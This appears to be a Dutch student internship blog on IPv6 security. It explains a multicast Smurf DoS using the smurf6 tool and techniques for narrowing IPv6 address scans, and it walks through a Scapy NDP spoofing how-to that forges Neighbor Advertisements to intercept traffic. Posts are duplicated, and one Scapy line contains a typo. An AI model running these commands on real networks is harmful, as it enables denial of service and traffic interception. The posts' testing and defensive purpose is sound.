Een Smurf DoS heeft als bedoeling een host te flooden met netwerk verkeer. Deze soort van aanvallen worden ook wel amplification attacks genoemd aangezien je met weinig resources een doeltreffende DoS kunt uitvoeren. Bij IPv4 zag men dit vaak in samenhang met het broadcast adres. In IPv6 bestaan er geen broadcast adressen meer, maar dit wil niet zeggen dat deze aanval verleden tijd is in IPv6.
In IPv6 wordt er hevig gebruik gemaakt van multicast adressen. Vooral bij ICMPv6 berichten of Neighbor Detection wordt er al snel gebruik gemaakt van deze adressen. Aangezien een multicast adres ook naar meerdere interfaces gelinkt is, dan hebben de aandachtigen al door dat dit ook gebruikt kan worden voor een smurf aanval. Met het aanpassen van bepaalde ICMPv6 paketten kunnen deze gespoofd worden om responses op deze packeten naar het slachtoffer te sturen. Verduidelijking volgt in het voorbeeld.
Als men bijvoorbeeld een ICMPv6 echo request zou versturen naar een slachtoffer, dan wordt infeite het Source adres dat in het de echo request staat gespoofed naar dit van het slachtoffer. Wanneer deze dan naar het FF02::1 multicast adres gestuurd worden (naar alle gelinkte interfaces zoals bijvoorbeeld routers die de message dan nog meer verspreiden). Aangezien de echo request gespoofed is met een verkeerd adres, denken alle hosts die deze echo request hebben gekregen dat het slachtoffer deze gestuurd heeft. En sturen allemaal tegelijk een ICMPv6 echo reply message. Als genoeg pakketten gestuurd worden die dan weer geamplified worden resulteerd dit in een DoS voor het slachtoffer.
Zo een aanval kan makkelijk gesimuleerd worden door verscheidene tools. Zoals de smurf6 tool van THC IPv6 Attack Toolkit.
./smurf6
ETH DSTADR
Dit is het commando om een smurf aanval te beginnen. Waarbij ETH de interface is waarlangs je de aanval wilt sturen (de interface verbonden met het netwerk) en DSTADR het IPv6 adres van het slachtoffer. In een testopstelling zal al de slachtoffer host al snel DoS krijgen.
Je zou ook bijvoorbeeld een pakket zelf kunnen samenstellen in Scapy zoals in de HOW TO over NDP Spoofing.
Hoe zo een aanval tegen te gaan?
De vraag is natuurlijk hoe zo een aanvallen tegen te gaan, aangezien DoS aanvallen de moeilijkste zijn om tegen te houden (vaak worden pakketten gebruikt die anders ook in een legitiem netwerk veel voorkomen). In dit specifiek geval kan je de aanval tegenhouden door geen ICMPv6 pakketten toe telaten die van een (bepaald) multicast adres komen. Tevens kun je in de firewall configureren dat er van bepaalde pakketten (ICMPv6 pakketten bv) maar een bepaald aantal per tijdsspane wordt toegelaten.
NOOT: Deze specifieke aanval lukt wel alleen op bepaalde machines (e.g. Linux machines) aangezien veel hosts automatisch al ICMPv6 die van multicast adressen komen deze tegenhouden.
Referenties:
- http://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904?show=complete-guide-ipv6-attack-defense-33904&cat=detection
- http://tools.ietf.org/html/draft-gont-6man-ipv6-smurf-amplifier-00
- http://tools.ietf.org/html/rfc2463#page-11
- Cisco Press IPv6 Security by Eric Vyncke
dinsdag 18 februari 2014
maandag 17 februari 2014
Scanning IPv6 address ranges
Deze blogpost zal de problematiek van scanning in een IPv6 netwerk aankaarten. Is scanning echt zo onmogelijk als gedacht werd in IPv6? Of zijn er manieren op het grote aantal IPv6 addressen in een blok toch te enumeren? We zetten het hier even op een rijtje.
Sinds de introductie van IPv6 dachten velen dat het scannen van IPv6 adres blokken vrijwel verleden tijd zou zijn door het gigantisch aantal addressen dat mogelijk was. In een standaard /64 netwerk zijn er theoretisch 2^64 adressen mogelijk. Dit maakt het lukraak scannen van een netwerk onmogelijk. Maar waar staan we nu echt? En hoe verwerkt men dit in de veiligheid van een netwerk?
In mijn opdracht voor mijn stage kon ik al genoeg vinden over mogelijke aanvallen die een IPv6 netwerk kunnen doorbreken. Maar hoe komen de hackers juist aan de juiste informatie om deze aanvallen te lanceren? Het zou volgens experts immers ontelbare jaren duren tegen er 1 adres zou gevonden zijn voor een netwerk. Vooral in het begin van het uitrollen van IPv6 dacht men hier niet zoveel over na.
Intussen weet ik ook wel al beter, er zijn verschillende manieren om het aantal adressen te enumeren zodat er een zeer beperkte keuze uit adressen overblijft (ten opzichte van de 2^64 die mogelijk zijn).
Vele van deze manieren rusten op de "bad" practices die men implementeert in het netwerk. Hier een lijst van een aantal mogelijke manieren van scans.
- DNS Dictionairy Attack: Dit is niet zozeer een scan die IPv6 adressen probeert te bemachtigen, maar sinds er bij IPv6 ook nog altijd DNS zal nodig zijn voor publieke servers (webservers, mail servers). Is dit een handige manier voor aanvallers om hun zoekveld wat te vereenvoudigen. De aanval draait rond het bruteforcen van allemaal mogelijke, veel voorkomende, woorden die vaak gebruikt worden rond het configureren van DNS. In essentie zoeken ze in een DNS domein op vaak voorkomende woorden naar de subdomeinen. Van deze weet je dan hun IP adres en vandaaruit kan je dan nog meer scannen.
- Sequentiële scan: Een netwerk kan ook slecht gesubnet zijn, waarbij de administrator begint bij een bepaald getal (of gewoon het eerste mogelijke, onderaan het adres blok) en zo verder optelt. Dit is zeker een vorm van bad practice want aanvallers kunnen gewoon veel voorkomende blokken van onder naar boven voor een bepaald aantal adressen scannen. Zodra ze 1 adres vinden, vinden ze de rest ook.
- IPv4 adres: Wat vele administrators hanteren in de overgang van IPv4 naar IPv6 is het einde van het IPv6 adres de digits van het IPv4 adres van die interface te geven. Natuurlijk ook een bad practice aangezien als de hacker het IPv4 adres blok zou weten, dit maakt het te scannen aantal adressen even groot als in een IPv4 netwerk. Dit is natuurlijk makkelijk & snel te scannen
-OUI: Als men gebruik maakt van bepaalde merken van servers of virtualizatie software (denk maar aan VMWare). Dan krijgen hun MAC-adressen een Organizationally Unique Identifier mee in hun eerst 24 bits. Als men van de veronderstelling gaat dat ze deze gebruiken voor de conversie naar hun EUI-64 adres, dan weet je meteen al de eerste 40 bits (24 van de OUI & 16 van de conversie bits, FF FE). Nu moet een aanvaller nog maar een range van 24 bits scannen.
Deze technieken kunnen ook in combinatie gebruikt worden e.g. het scannen op OUI & indien de IPv4 range geweten is ook nog eens op de mogelijke IPv4 adressen. Dit verkort je zoekopties naar 2^8 bits die gescand moeten worden!
Vele van deze scans zijn natuurlijk met wat best practices te verijdelen, door manueel de adressen toe te kennen aan de apparaten en zo willekeurig mogelijke adressen te nemen zal je al veel scans stoppen. Maar waar wordt de grens getrokken tussen bij het toekennen van deze adressen? In kleine netwerken is dit geen probleem en makkelijk te halen, maar bij grote bedrijven waar men spreekt van duizenden individuele adressen kan je deze niet allemaal manueel toekennen. Laat staan op een ordelijke manier al deze adressen bijhouden.
Voor mijn opdracht ga ik verschillende aanvallen op een IPv6 netwerk testen en proberen te voorkomen. Maar vandaag bij het opstellen van bepaalde aanvallen rees mij toch ook deze vraag van als ik aan het test gedeelte kom, en ik moet mijn test omgeving opstellen, hoe zal ik hier dan mee omgaan? Waar trek ik zelf de grens in mijn test opstelling tussen het meest veilige en het praktische? Zelfs al is mijn opstelling veel kleiner dan de meeste netwerken in een bedrijf toch dient hier rekening mee gehouden te worden, de testen zijn immers bedoeld om een zo dicht mogelijke benadering van de realiteit weer te geven.
CONCLUSIE:
Zoals we kunnen zien zijn er nog vele mogelijkheden om effectief een volledig IPv6 netwerk te kunnen scannen. Maar het moet gezegd worden dat vele van deze "exploits" eerder aan de nalatigheid van de IT-administrators liggen en de meeste met een beetje goede manuele configuratie kunnen verijdeld worden.
Referenties:
- http://www.ietf.org/rfc/rfc5157.txt
- Cisco Press: IPv6 Security by Eric Vyncke
- http://tools.ietf.org/html/draft-ietf-opsec-ipv6-host-scanning-03
Sinds de introductie van IPv6 dachten velen dat het scannen van IPv6 adres blokken vrijwel verleden tijd zou zijn door het gigantisch aantal addressen dat mogelijk was. In een standaard /64 netwerk zijn er theoretisch 2^64 adressen mogelijk. Dit maakt het lukraak scannen van een netwerk onmogelijk. Maar waar staan we nu echt? En hoe verwerkt men dit in de veiligheid van een netwerk?
In mijn opdracht voor mijn stage kon ik al genoeg vinden over mogelijke aanvallen die een IPv6 netwerk kunnen doorbreken. Maar hoe komen de hackers juist aan de juiste informatie om deze aanvallen te lanceren? Het zou volgens experts immers ontelbare jaren duren tegen er 1 adres zou gevonden zijn voor een netwerk. Vooral in het begin van het uitrollen van IPv6 dacht men hier niet zoveel over na.
Intussen weet ik ook wel al beter, er zijn verschillende manieren om het aantal adressen te enumeren zodat er een zeer beperkte keuze uit adressen overblijft (ten opzichte van de 2^64 die mogelijk zijn).
Vele van deze manieren rusten op de "bad" practices die men implementeert in het netwerk. Hier een lijst van een aantal mogelijke manieren van scans.
- DNS Dictionairy Attack: Dit is niet zozeer een scan die IPv6 adressen probeert te bemachtigen, maar sinds er bij IPv6 ook nog altijd DNS zal nodig zijn voor publieke servers (webservers, mail servers). Is dit een handige manier voor aanvallers om hun zoekveld wat te vereenvoudigen. De aanval draait rond het bruteforcen van allemaal mogelijke, veel voorkomende, woorden die vaak gebruikt worden rond het configureren van DNS. In essentie zoeken ze in een DNS domein op vaak voorkomende woorden naar de subdomeinen. Van deze weet je dan hun IP adres en vandaaruit kan je dan nog meer scannen.
- Sequentiële scan: Een netwerk kan ook slecht gesubnet zijn, waarbij de administrator begint bij een bepaald getal (of gewoon het eerste mogelijke, onderaan het adres blok) en zo verder optelt. Dit is zeker een vorm van bad practice want aanvallers kunnen gewoon veel voorkomende blokken van onder naar boven voor een bepaald aantal adressen scannen. Zodra ze 1 adres vinden, vinden ze de rest ook.
- IPv4 adres: Wat vele administrators hanteren in de overgang van IPv4 naar IPv6 is het einde van het IPv6 adres de digits van het IPv4 adres van die interface te geven. Natuurlijk ook een bad practice aangezien als de hacker het IPv4 adres blok zou weten, dit maakt het te scannen aantal adressen even groot als in een IPv4 netwerk. Dit is natuurlijk makkelijk & snel te scannen
-OUI: Als men gebruik maakt van bepaalde merken van servers of virtualizatie software (denk maar aan VMWare). Dan krijgen hun MAC-adressen een Organizationally Unique Identifier mee in hun eerst 24 bits. Als men van de veronderstelling gaat dat ze deze gebruiken voor de conversie naar hun EUI-64 adres, dan weet je meteen al de eerste 40 bits (24 van de OUI & 16 van de conversie bits, FF FE). Nu moet een aanvaller nog maar een range van 24 bits scannen.
Deze technieken kunnen ook in combinatie gebruikt worden e.g. het scannen op OUI & indien de IPv4 range geweten is ook nog eens op de mogelijke IPv4 adressen. Dit verkort je zoekopties naar 2^8 bits die gescand moeten worden!
Vele van deze scans zijn natuurlijk met wat best practices te verijdelen, door manueel de adressen toe te kennen aan de apparaten en zo willekeurig mogelijke adressen te nemen zal je al veel scans stoppen. Maar waar wordt de grens getrokken tussen bij het toekennen van deze adressen? In kleine netwerken is dit geen probleem en makkelijk te halen, maar bij grote bedrijven waar men spreekt van duizenden individuele adressen kan je deze niet allemaal manueel toekennen. Laat staan op een ordelijke manier al deze adressen bijhouden.
Voor mijn opdracht ga ik verschillende aanvallen op een IPv6 netwerk testen en proberen te voorkomen. Maar vandaag bij het opstellen van bepaalde aanvallen rees mij toch ook deze vraag van als ik aan het test gedeelte kom, en ik moet mijn test omgeving opstellen, hoe zal ik hier dan mee omgaan? Waar trek ik zelf de grens in mijn test opstelling tussen het meest veilige en het praktische? Zelfs al is mijn opstelling veel kleiner dan de meeste netwerken in een bedrijf toch dient hier rekening mee gehouden te worden, de testen zijn immers bedoeld om een zo dicht mogelijke benadering van de realiteit weer te geven.
CONCLUSIE:
Zoals we kunnen zien zijn er nog vele mogelijkheden om effectief een volledig IPv6 netwerk te kunnen scannen. Maar het moet gezegd worden dat vele van deze "exploits" eerder aan de nalatigheid van de IT-administrators liggen en de meeste met een beetje goede manuele configuratie kunnen verijdeld worden.
Referenties:
- http://www.ietf.org/rfc/rfc5157.txt
- Cisco Press: IPv6 Security by Eric Vyncke
- http://tools.ietf.org/html/draft-ietf-opsec-ipv6-host-scanning-03
vrijdag 14 februari 2014
HOW TO: Test NDP Spoofing
In deze kleine how to zal ik uitleggen hoe nu juist NDP spoofing in mekaar zit en hoe men het netwerk kan testen op zo een aanval. Voor deze test maken we gebruik van de scapy.py toolkit. Deze toolkit laat ons toe om zelf pakketjes op te stellen en te versturen naar een specifieke host. De bedoeling bij deze test is een NA (Neighbor Advertisement) pakket te maken en deze te versturen naar een device die een NS (Neighbor Sollicitation) pakket verstuurd.
De Attack gaat als volgt. In IPv6 kan men automatisch devices laten contact met elkaar leggen (en dus ook autoconfiguratie bereiken) via het Neighbor Discovery Protocol. Hierbij wordt door het nieuwe device NS pakketen gemulticast zodat de destination host met een NA pakket antwoord. Als wij nu zelf een pakket opstellen dat een malicious pakket verstuurd, kunnen we alle traffic tussen de nieuwe device en de destination host laten routen langs onze device. Hoe dit gebeurt kunnen we bekijken als we een NA pakket bekijken. Op het moment van het verzenden van de NS pakketen weet men nog niet welk layer 2 adres de destination host heeft (het MAC adres), door in ons pakket het MAC adres naar onze computer te laten verwijzen zal onze device als next hop worden aanzien en hebben we een succesvolle MITM attack uitgevoerd.
We beginnen bij het opstarten van scapy:
./scapy.py
Het eerste wat we moeten doen is ons Ehternet gedeelte invullen. Dit is nodig zodat het pakket weet van welk MAC adres het verzonden wordt, naar welk MAC adres het wordt verzonden. Dit pakket is een standaard Ethernet pakket, met gewoon een destination en source adres en een type field. Dit type field wordt door scapy zelf aangevuld als IPv6 door onze latere configuratie. Je vervangt natuurlijk de ETHDST en ETHSRC naar de respectievelijke MAC adressen
>>>eth=(Ether(dst='ETHDST', src='ETHSRC'))
Volgende stap is het aanmaken van het IPv6 pakket, aangezien een pakket over IPv6 versturen lijkt me dit redelijk noodzakelijk. Dit is ook nodig om verdere pakketten toe te voegen zoals het NA pakket. scapy zal alweer de meeste velden automatisch aanvullen, wij hoeven voor deze test gewoon onze source en destination adressen toe te voegen. Ook weer, 6ADRSRC en 6ADRDST veranders je door de respectievelijke source en destination adressen
>>>ipv6=IPv6(src=’6ADRSRC’, dst’6ADRDST’)
Volgende stap is het NA pakket zelf aanmaken. Hierin wordt weer veel voor ons automatisch aangevuld indien we dit wensen, wij moeten gewoon het tgt veld aanvullen, dit verwijst van welk MAC adres het pakket komt (onze malicious device) en het Reserved field. Dit 6-bit veld MOET door de verzender op 0 geplaatst worden om het pakket succesvol te versturen. Waarna de ontvanger dit pakket negeert. NXTHP is hier ons MAC adres van onze router
>>>na=ICMPv6ND_NA(tgt=’NXTHP’, R=0)
Voor de controle van het pakket heft scapy een handige .display() tool, we zetten gewoon al onze onderdelen in de juiste volgorde.
>>>(ether/ipv6/na/lla).display()
Dit zou er als volgt moeten uitzien:
###[ Ethernet ]###
dst= ETHDST
rc= ETHSRC
type= 0x86dd
###[ IPv6 ]###
version= 6
tc= 0
fl= 0
plen= None
nh= ICMPv6
hlim= 255
src= 6ADRSRC
dst= 6ADRDST
###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]###
type= Neighbor Advertisement
code= 0
cksum= 0x0
R= 0
S= 0
O= 1
res= 0x0
tgt= NXTHP
###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address ]###
type= 2
len= 1
lladdr= LLADR
Uiteindelijk rest ons nog gewoon het versturen van het volledige pakket, iface specifieert langs welke interface, loop en inter specifieren dat het pakket iedere 5 seconden 1 keer wordt verzonden:
>>>sendp(eth/ipv6/na/lla, iface=’br0’, loop=1, inter=5)
Als we nu de ethernet poort zouden controleren en kijken naar welke neighbors deze is gelink, zul je zien dat voor de inject het MAC adres nog op de juiste destination host staat, en na het injecteren van het pakket het MAC adres op onze device staat. Wat dus wilt zeggen dat alle traffic succesvol langs ons gerout wordt.
Voor gedetailleerde uitleg over de verschillende pakketen, gelieve de volgende links van IETF te volgen:
http://tools.ietf.org/html/rfc4861#section-4.1
http://tools.ietf.org/rfc/rfc2464.txt
Referenties:
http://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/
Cisco Press: IPv6 Security by Eric Vynce hoofdstuk over NDP Spoofing
De Attack gaat als volgt. In IPv6 kan men automatisch devices laten contact met elkaar leggen (en dus ook autoconfiguratie bereiken) via het Neighbor Discovery Protocol. Hierbij wordt door het nieuwe device NS pakketen gemulticast zodat de destination host met een NA pakket antwoord. Als wij nu zelf een pakket opstellen dat een malicious pakket verstuurd, kunnen we alle traffic tussen de nieuwe device en de destination host laten routen langs onze device. Hoe dit gebeurt kunnen we bekijken als we een NA pakket bekijken. Op het moment van het verzenden van de NS pakketen weet men nog niet welk layer 2 adres de destination host heeft (het MAC adres), door in ons pakket het MAC adres naar onze computer te laten verwijzen zal onze device als next hop worden aanzien en hebben we een succesvolle MITM attack uitgevoerd.
We beginnen bij het opstarten van scapy:
./scapy.py
Het eerste wat we moeten doen is ons Ehternet gedeelte invullen. Dit is nodig zodat het pakket weet van welk MAC adres het verzonden wordt, naar welk MAC adres het wordt verzonden. Dit pakket is een standaard Ethernet pakket, met gewoon een destination en source adres en een type field. Dit type field wordt door scapy zelf aangevuld als IPv6 door onze latere configuratie. Je vervangt natuurlijk de ETHDST en ETHSRC naar de respectievelijke MAC adressen
>>>eth=(Ether(dst='ETHDST', src='ETHSRC'))
Volgende stap is het aanmaken van het IPv6 pakket, aangezien een pakket over IPv6 versturen lijkt me dit redelijk noodzakelijk. Dit is ook nodig om verdere pakketten toe te voegen zoals het NA pakket. scapy zal alweer de meeste velden automatisch aanvullen, wij hoeven voor deze test gewoon onze source en destination adressen toe te voegen. Ook weer, 6ADRSRC en 6ADRDST veranders je door de respectievelijke source en destination adressen
>>>ipv6=IPv6(src=’6ADRSRC’, dst’6ADRDST’)
Volgende stap is het NA pakket zelf aanmaken. Hierin wordt weer veel voor ons automatisch aangevuld indien we dit wensen, wij moeten gewoon het tgt veld aanvullen, dit verwijst van welk MAC adres het pakket komt (onze malicious device) en het Reserved field. Dit 6-bit veld MOET door de verzender op 0 geplaatst worden om het pakket succesvol te versturen. Waarna de ontvanger dit pakket negeert. NXTHP is hier ons MAC adres van onze router
>>>na=ICMPv6ND_NA(tgt=’NXTHP’, R=0)
Het laatste gedeelte van ons pakket is een NDOpt waarbij we het Link Layer Adres meegeven. Dit zal wederom ons MAC adres zijn, zodat alle traffic effectief via ons zal worden verstuurd.
>>>lla=ICMPv6NDOptDstLLAddr(lladdr=’LLADR’)
Voor de controle van het pakket heft scapy een handige .display() tool, we zetten gewoon al onze onderdelen in de juiste volgorde.
>>>(ether/ipv6/na/lla).display()
Dit zou er als volgt moeten uitzien:
###[ Ethernet ]###
dst= ETHDST
rc= ETHSRC
type= 0x86dd
###[ IPv6 ]###
version= 6
tc= 0
fl= 0
plen= None
nh= ICMPv6
hlim= 255
src= 6ADRSRC
dst= 6ADRDST
###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]###
type= Neighbor Advertisement
code= 0
cksum= 0x0
R= 0
S= 0
O= 1
res= 0x0
tgt= NXTHP
###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address ]###
type= 2
len= 1
lladdr= LLADR
Uiteindelijk rest ons nog gewoon het versturen van het volledige pakket, iface specifieert langs welke interface, loop en inter specifieren dat het pakket iedere 5 seconden 1 keer wordt verzonden:
>>>sendp(eth/ipv6/na/lla, iface=’br0’, loop=1, inter=5)
Als we nu de ethernet poort zouden controleren en kijken naar welke neighbors deze is gelink, zul je zien dat voor de inject het MAC adres nog op de juiste destination host staat, en na het injecteren van het pakket het MAC adres op onze device staat. Wat dus wilt zeggen dat alle traffic succesvol langs ons gerout wordt.
Voor gedetailleerde uitleg over de verschillende pakketen, gelieve de volgende links van IETF te volgen:
http://tools.ietf.org/html/rfc4861#section-4.1
http://tools.ietf.org/rfc/rfc2464.txt
Referenties:
http://packetlife.net/blog/2009/feb/2/ipv6-neighbor-spoofing/
Cisco Press: IPv6 Security by Eric Vynce hoofdstuk over NDP Spoofing
Abonneren op:
Posts (Atom)